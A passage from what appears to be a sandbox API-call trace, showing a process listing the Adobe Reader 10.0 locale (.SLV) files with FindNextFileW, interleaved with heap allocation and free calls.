dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SLV", cAlternateFileName="")) returned 1 [0082.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ce88 [0082.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12902f0 [0082.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.607] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SLV", cAlternateFileName="")) returned 1 [0082.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cea8 [0082.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12903f8 [0082.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.608] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SLV", cAlternateFileName="")) returned 1 [0082.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cec8 [0082.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290500 [0082.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.610] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SLV", cAlternateFileName="")) returned 1 [0082.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cee8 [0082.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290608 [0082.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.611] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SLV", cAlternateFileName="")) returned 1 [0082.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cf08 [0082.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290710 [0082.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.613] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SLV", cAlternateFileName="")) returned 1 [0082.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cf28 [0082.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290818 [0082.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.614] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SLV", cAlternateFileName="")) returned 1 [0082.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cf48 [0082.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290920 [0082.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x70c0) returned 0x1293f28 [0082.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a1f78) returned 1 [0082.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.616] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SLV", cAlternateFileName="")) returned 1 [0082.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cf68 [0082.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290a28 [0082.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.618] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.SLV", cAlternateFileName="")) returned 1 [0082.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cf88 [0082.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290b30 [0082.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.619] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SLV", cAlternateFileName="")) returned 1 [0082.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cfa8 [0082.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290c38 [0082.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.621] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.SLV", cAlternateFileName="")) returned 1 [0082.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cfc8 [0082.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290d40 [0082.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.623] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.SLV", cAlternateFileName="")) returned 1 [0082.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cfe8 [0082.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290e48 [0082.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.624] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x146000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SLV", cAlternateFileName="")) returned 1 [0082.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125d008 [0082.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1290f50 [0082.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.626] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SLV", cAlternateFileName="")) returned 1 [0082.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.SLV", cAlternateFileName="")) returned 1 [0082.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SLV", cAlternateFileName="")) returned 1 [0082.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SLV", cAlternateFileName="")) returned 1 [0082.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SLV", cAlternateFileName="")) returned 1 [0082.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SLV", cAlternateFileName="")) returned 1 [0082.627] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SLV", cAlternateFileName="")) returned 0 [0082.628] GetLastError () returned 0x12 [0082.628] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.628] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: 